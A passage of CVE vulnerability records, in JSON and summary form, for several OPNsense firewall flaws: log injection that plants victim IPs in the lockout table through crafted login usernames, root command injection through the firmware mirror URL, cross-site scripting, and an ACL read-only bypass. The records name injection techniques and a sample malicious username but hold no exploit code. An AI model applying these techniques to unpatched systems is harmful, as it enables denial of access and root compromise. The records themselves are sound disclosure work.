"url": "https://abraxaslabs.tech/research/opnsense-wlan-wpa-line"
},
{
"tags": [
"product"
],
"url": "https://github.com/opnsense/core"
},
{
"name": "VulnCheck Advisory: OPNsense before 26.7.8 Wireless WPA Configuration Line Injection via Identity",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/opnsense-before-26.7.8-wireless-wpa-configuration-line-injection-via-identity"
}
],
"title": "OPNsense before 26.7.8 Wireless WPA Configuration Line Injection via Identity",
"x_generator": {
"engine": "vulncheck-endgame"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2026-119424",
"datePublished": "2026-10-30T11:30:54.395Z",
"dateReserved": "2026-10-30T02:41:13.590Z",
"dateUpdated": "2026-10-30T11:30:54.395Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-119423 (GCVE-0-2026-119423)
Vulnerability from cvelistv5 – Published: 2026-10-30 11:30 – Updated: 2026-11-04 15:05
VLAI
EPSS
VEX
Title
OPNsense core before 26.7.8 Lockout IP Planting via WebGUI Login Username
Summary
OPNsense core before 26.7.8 contains a log injection vulnerability that allows unauthenticated attackers to plant victim IP addresses in the lockout_handler by submitting crafted WebGUI login usernames. Attackers can submit usernames like 'Invalid user <victim-ip>' repeatedly to add the victim to the sshlockout table, blocking SSH and WebGUI access and killing its pf states.
Severity
5.3 (Medium)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-11-04 15:05 UTC
CWE
- CWE-117 - Improper Output Neutralization for Logs
Assigner
References
8 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/commit/14f8f7dd1… | patch |
| https://github.com/opnsense/core/commit/2076f2c19… | patch |
| https://github.com/opnsense/core/blob/26.7.7/src/… | technical-description |
| https://github.com/opnsense/core/blob/26.7.7/src/… | technical-description |
| https://github.com/opnsense/core/security/advisor… | vendor-advisory |
| https://abraxaslabs.tech/research/opnsense-lockou… | third-party-advisory |
| https://github.com/opnsense/core | product |
| https://www.vulncheck.com/advisories/opnsense-cor… | third-party-advisory |
Impacted products
Date Public
2026-10-14 00:00
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-119423",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-11-04T15:05:24.381582Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-11-04T15:05:35.901Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:github/opnsense/core",
"product": "core",
"repo": "https://github.com/opnsense/core",
"vendor": "opnsense",
"versions": [
{
"lessThan": "26.7.8",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:*",
"versionEndExcluding": "26.7.8",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Abraxas Labs"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Ad Schellevis"
}
],
"datePublic": "2026-10-14T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "OPNsense core before 26.7.8 contains a log injection vulnerability that allows unauthenticated attackers to plant victim IP addresses in the lockout_handler by submitting crafted WebGUI login usernames. Attackers can submit usernames like \u0027Invalid user \u003cvictim-ip\u003e\u0027 repeatedly to add the victim to the sshlockout table, blocking SSH and WebGUI access and killing its pf states."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 6.9,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE"
},
"format": "CVSS"
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-117",
"description": "Improper Output Neutralization for Logs",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T11:30:53.650Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"tags": [
"patch"
],
"url": "https://github.com/opnsense/core/commit/14f8f7dd1d5f06522d60794a7beeac7adb9eca68"
},
{
"tags": [
"patch"
],
"url": "https://github.com/opnsense/core/commit/2076f2c195bf9537ec220f0e5d6aff998f057410"
},
{
"tags": [
"technical-description"
],
"url": "https://github.com/opnsense/core/blob/26.7.7/src/opnsense/mvc/app/library/OPNsense/Auth/AuthenticationFactory.php#L232"
},
{
"tags": [
"technical-description"
],
"url": "https://github.com/opnsense/core/blob/26.7.7/src/opnsense/scripts/syslog/lockout_handler#L70"
},
{
"name": "GitHub Security Advisory (GHSA-2v2x-m4j7-76pv)",
"tags": [
"vendor-advisory"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-2v2x-m4j7-76pv"
},
{
"tags": [
"third-party-advisory"
],
"url": "https://abraxaslabs.tech/research/opnsense-lockout-factory-ip"
},
{
"tags": [
"product"
],
"url": "https://github.com/opnsense/core"
},
{
"name": "VulnCheck Advisory: OPNsense core before 26.7.8 Lockout IP Planting via WebGUI Login Username",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/opnsense-core-before-26.7.8-lockout-ip-planting-via-webgui-login-username"
}
],
"title": "OPNsense core before 26.7.8 Lockout IP Planting via WebGUI Login Username",
"x_generator": {
"engine": "vulncheck-endgame"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2026-119423",
"datePublished": "2026-10-30T11:30:53.650Z",
"dateReserved": "2026-10-30T02:41:13.241Z",
"dateUpdated": "2026-11-04T15:05:35.901Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-119409 (GCVE-0-2026-119409)
Vulnerability from cvelistv5 – Published: 2026-10-30 11:30 – Updated: 2026-10-30 15:55
VLAI
EPSS
VEX
Title
OPNsense before 26.7.8 Root Command Injection via Firmware Mirror Setting
Summary
OPNsense before 26.7.8 contains a command injection vulnerability that allows authenticated users with the System: Firmware privilege to execute commands as root by storing a malicious firmware mirror URL. Attackers can submit shell metacharacters through POST /api/core/firmware/set that opnsense-update evaluates with eval, and can also disable package signature verification through sed injection.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-30 15:34 UTC
CWE
- CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Assigner
References
8 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | vendor-advisory |
| https://github.com/opnsense/core/commit/1cc41fc39… | patch |
| https://github.com/opnsense/core/commit/8e214533d… | patch |
| https://github.com/opnsense/update/commit/9bfd3b7… | patch |
| https://github.com/opnsense/update/blob/a2b8a10ba… | technical-description |
| https://abraxaslabs.tech/research/opnsense-firmwa… | third-party-advisory |
| https://github.com/opnsense/core | product |
| https://www.vulncheck.com/advisories/opnsense-bef… | third-party-advisory |
Impacted products
Date Public
2026-10-28 00:00
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-119409",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-30T15:34:50.876282Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T15:55:57.541Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "core",
"vendor": "opnsense",
"versions": [
{
"lessThan": "26.7.8",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "26.7.8",
"versionType": "semver"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:*",
"versionEndExcluding": "26.7.8",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Voidlet"
},
{
"lang": "en",
"type": "reporter",
"value": "Abraxas Labs"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Franco Fichtner"
}
],
"datePublic": "2026-10-28T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "OPNsense before 26.7.8 contains a command injection vulnerability that allows authenticated users with the System: Firmware privilege to execute commands as root by storing a malicious firmware mirror URL. Attackers can submit shell metacharacters through POST /api/core/firmware/set that opnsense-update evaluates with eval, and can also disable package signature verification through sed injection."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.6,
"baseSeverity": "HIGH",
"privilegesRequired": "HIGH",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH"
},
"format": "CVSS"
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-78",
"description": "Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T11:30:46.595Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"name": "GitHub Security Advisory (GHSA-p683-f7x2-pm4p)",
"tags": [
"vendor-advisory"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-p683-f7x2-pm4p"
},
{
"tags": [
"patch"
],
"url": "https://github.com/opnsense/core/commit/1cc41fc39da99d59818c789b3b561f1515126f47"
},
{
"tags": [
"patch"
],
"url": "https://github.com/opnsense/core/commit/8e214533d33c3af7481e86f616ee615adc6a0a73"
},
{
"tags": [
"patch"
],
"url": "https://github.com/opnsense/update/commit/9bfd3b7020499b6032ee64804193a9f3ce8178fa"
},
{
"tags": [
"technical-description"
],
"url": "https://github.com/opnsense/update/blob/a2b8a10ba85f13b2cd002abb4c8692dde99f0261/src/update/opnsense-update.sh.in#L165"
},
{
"tags": [
"third-party-advisory"
],
"url": "https://abraxaslabs.tech/research/opnsense-firmware-mirror-sed"
},
{
"tags": [
"product"
],
"url": "https://github.com/opnsense/core"
},
{
"name": "VulnCheck Advisory: OPNsense before 26.7.8 Root Command Injection via Firmware Mirror Setting",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/opnsense-before-26.7.8-root-command-injection-via-firmware-mirror-setting"
}
],
"title": "OPNsense before 26.7.8 Root Command Injection via Firmware Mirror Setting",
"x_generator": {
"engine": "vulncheck-endgame"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2026-119409",
"datePublished": "2026-10-30T11:30:46.595Z",
"dateReserved": "2026-10-30T01:22:43.836Z",
"dateUpdated": "2026-10-30T15:55:57.541Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-115425 (GCVE-0-2026-115425)
Vulnerability from cvelistv5 – Published: 2026-10-26 08:10 – Updated: 2026-10-26 14:24
VLAI
EPSS
VEX
Title
Multiple cross-site scripting (XSS) in OPNsense
Summary
Multiple cross site scripting (XSS) vulnerabilities affect OPNsense firewall vesrion 26.7.1_1 and earlier allows low privileged attacker to execute Javascript in the context of another user visiting a specific page or clicking on a specifically crafted link.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-26 14:24 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://digitalcanion.com/security-research/#ghsa… | third-party-advisory |
| https://github.com/opnsense/core/security/advisor… | vendor-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| OPNsense | OPNsense firewall |
Affected:
0 , ≤ 26.7.1_1
(custom)
Unaffected: 26.7.7 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-115425",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-26T14:24:17.770527Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79 Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-26T14:24:20.876Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Linux"
],
"product": "OPNsense firewall",
"vendor": "OPNsense",
"versions": [
{
"lessThanOrEqual": "26.7.1_1",
"status": "affected",
"version": "0",
"versionType": "custom"
},
{
"status": "unaffected",
"version": "26.7.7"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Brian Mariani - DigitalCanion SA"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cdiv\u003eMultiple cross site scripting (XSS) vulnerabilities affect\u0026nbsp;OPNsense firewall vesrion\u0026nbsp;26.7.1_1 and earlier\u0026nbsp;allows low privileged attacker to execute Javascript in the context of another user visiting a specific page or clicking on a specifically crafted link.\u003c/div\u003e"
}
],
"value": "Multiple cross site scripting (XSS) vulnerabilities affect\u00a0OPNsense firewall vesrion\u00a026.7.1_1 and earlier\u00a0allows low privileged attacker to execute Javascript in the context of another user visiting a specific page or clicking on a specifically crafted link."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "YES",
"Recovery": "IRRECOVERABLE",
"Safety": "PRESENT",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 5.6,
"baseSeverity": "MEDIUM",
"exploitMaturity": "PROOF_OF_CONCEPT",
"privilegesRequired": "LOW",
"providerUrgency": "AMBER",
"subAvailabilityImpact": "HIGH",
"subConfidentialityImpact": "HIGH",
"subIntegrityImpact": "HIGH",
"userInteraction": "PASSIVE",
"valueDensity": "CONCENTRATED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P/S:P/AU:Y/R:I/V:C/RE:M/U:Amber",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "MODERATE"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-26T08:10:14.534Z",
"orgId": "455daabc-a392-441d-aa46-37d35189897c",
"shortName": "NCSC.ch"
},
"references": [
{
"tags": [
"third-party-advisory"
],
"url": "https://digitalcanion.com/security-research/#ghsa-9h93-hhcx-957c"
},
{
"tags": [
"vendor-advisory"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-9h93-hhcx-957c"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Multiple cross-site scripting (XSS) in OPNsense",
"x_generator": {
"engine": "Vulnogram 1.0.5"
}
}
},
"cveMetadata": {
"assignerOrgId": "455daabc-a392-441d-aa46-37d35189897c",
"assignerShortName": "NCSC.ch",
"cveId": "CVE-2026-115425",
"datePublished": "2026-10-26T08:10:14.534Z",
"dateReserved": "2026-10-22T13:40:10.572Z",
"dateUpdated": "2026-10-26T14:24:20.876Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-71490 (GCVE-0-2026-71490)
Vulnerability from cvelistv5 – Published: 2026-10-15 15:24 – Updated: 2026-10-15 15:45
VLAI
EPSS
VEX
Title
OPNsense: Direct comma-separated user privileges bypass OPNsense MVC read-only write protection
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.11, OPNsense\Core\ACL::hasPrivilege() appends a directly assigned comma-separated <priv> value as one string and then uses an exact comparison when checking user-config-readonly. A user directly assigned both a component write privilege and user-config-readonly can therefore be treated as lacking the read-only restriction, and MVC APIs protected by throwReadOnly() can persist configuration changes for that component. Group privileges are not affected by the same parser flaw because the group path already splits comma-separated values. This issue is fixed in version 26.1.11.
Severity
7.1 (High)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-15 15:44 UTC
CWE
- CWE-863 - Incorrect Authorization
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/578e02511… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/e15a88497… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/f674f4ff2… | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-71490",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-15T15:44:35.198725Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:45:03.645Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-p9pr-782r-w2xw"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.11, OPNsense\\Core\\ACL::hasPrivilege() appends a directly assigned comma-separated \u003cpriv\u003e value as one string and then uses an exact comparison when checking user-config-readonly. A user directly assigned both a component write privilege and user-config-readonly can therefore be treated as lacking the read-only restriction, and MVC APIs protected by throwReadOnly() can persist configuration changes for that component. Group privileges are not affected by the same parser flaw because the group path already splits comma-separated values. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-863",
"description": "CWE-863: Incorrect Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:24:43.580Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-p9pr-782r-w2xw",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-p9pr-782r-w2xw"
},
{
"name": "https://github.com/opnsense/core/commit/578e025111161ffd03fd3fd0ccdac203be546505",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/578e025111161ffd03fd3fd0ccdac203be546505"
},
{
"name": "https://github.com/opnsense/core/commit/e15a884973746319e79bd2cd421e8a015cc3ddb9",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/e15a884973746319e79bd2cd421e8a015cc3ddb9"
},
{
"name": "https://github.com/opnsense/core/commit/f674f4ff294a3f7c4cd0591563f6df47bea50034",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/f674f4ff294a3f7c4cd0591563f6df47bea50034"
}
],
"source": {
"advisory": "GHSA-p9pr-782r-w2xw",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Direct comma-separated user privileges bypass OPNsense MVC read-only write protection"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-71490",
"datePublished": "2026-10-15T15:24:43.580Z",
"dateReserved": "2026-08-06T19:56:23.725Z",
"dateUpdated": "2026-10-15T15:45:03.645Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-63442 (GCVE-0-2026-63442)
Vulnerability from cvelistv5 – Published: 2026-10-15 15:22 – Updated: 2026-10-16 17:13
VLAI
EPSS
VEX
Title
OPNsense: Log Forgery via Login Username CRLF in WebGUI Authentication → Pf Table IP Blocking
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the unauthenticated WebGUI login usernamefld accepts carriage-return and line-feed characters that survive LOG_AUTH processing through syslog-ng-lockout.conf into the syslog-ng program destination feeding lockout_handler. The consumer's readline() processing treats an injected fragment as a separate authentication event and selects the first syntactically valid IP address from the forged line. An attacker with network access to the login page can forge failure events for another IP, causing that IP to be added to the sshlockout PF table and its active states to be killed, or forge accepted events that reset an attacker's own brute-force counter. This can block administrative, DNS, gateway, or monitoring addresses and can bypass password-guessing lockout without authentication. This issue is fixed in version 26.1.11.
Severity
8.1 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-15 20:24 UTC
CWE
- CWE-117 - Improper Output Neutralization for Logs
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/8bdaad95f… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/c930ab586… | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-63442",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-15T20:24:38.956809Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-16T17:13:35.384Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the unauthenticated WebGUI login usernamefld accepts carriage-return and line-feed characters that survive LOG_AUTH processing through syslog-ng-lockout.conf into the syslog-ng program destination feeding lockout_handler. The consumer\u0027s readline() processing treats an injected fragment as a separate authentication event and selects the first syntactically valid IP address from the forged line. An attacker with network access to the login page can forge failure events for another IP, causing that IP to be added to the sshlockout PF table and its active states to be killed, or forge accepted events that reset an attacker\u0027s own brute-force counter. This can block administrative, DNS, gateway, or monitoring addresses and can bypass password-guessing lockout without authentication. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "ADJACENT_NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-117",
"description": "CWE-117: Improper Output Neutralization for Logs",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:22:16.011Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-2v2x-m4j7-76pv",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-2v2x-m4j7-76pv"
},
{
"name": "https://github.com/opnsense/core/commit/8bdaad95f405f4587bb83bf35aa652ca493cc2a4",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/8bdaad95f405f4587bb83bf35aa652ca493cc2a4"
},
{
"name": "https://github.com/opnsense/core/commit/c930ab586ffe2d2e010e5135657e5e054316ff58",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/c930ab586ffe2d2e010e5135657e5e054316ff58"
}
],
"source": {
"advisory": "GHSA-2v2x-m4j7-76pv",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Log Forgery via Login Username CRLF in WebGUI Authentication \u2192 Pf Table IP Blocking"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-63442",
"datePublished": "2026-10-15T15:22:16.011Z",
"dateReserved": "2026-07-16T19:35:57.767Z",
"dateUpdated": "2026-10-16T17:13:35.384Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-58390 (GCVE-0-2026-58390)
Vulnerability from cvelistv5 – Published: 2026-10-15 15:21 – Updated: 2026-10-20 02:44
VLAI
EPSS
VEX
Title
OPNsense: Stored XSS to root RCE via OpenVPN client common_name in status views
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the OpenVPN connection-status dashboard widget in src/opnsense/www/js/widgets/OpenVPNClients.js and the connection-status view place a client common_name into data-common-name attributes without quote-safe encoding. Exploitation requires an OpenVPN server configured with username-as-common-name and RADIUS or LDAP authentication, plus the ability to provision or self-register a valid backend username containing a double quote; deployments where the same administrator controls both the identity backend and firewall do not cross a separate trust boundary. An authenticated client using that username can close the attribute and add an event handler, while the local user database is not affected because its username validator rejects quotes. Script executes in an administrator's session when the administrator opens the dashboard or connection-status page and the injected event is triggered; the demonstrated payload used pointer movement over the client row rather than unconditional page-load execution. The advisory demonstrates that the script can read config.xml, invoke privileged APIs, reset the root password, and obtain root command execution. This issue is fixed in version 26.1.11.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-20 02:43 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/11180daf5… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/e7b2ac809… | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-58390",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
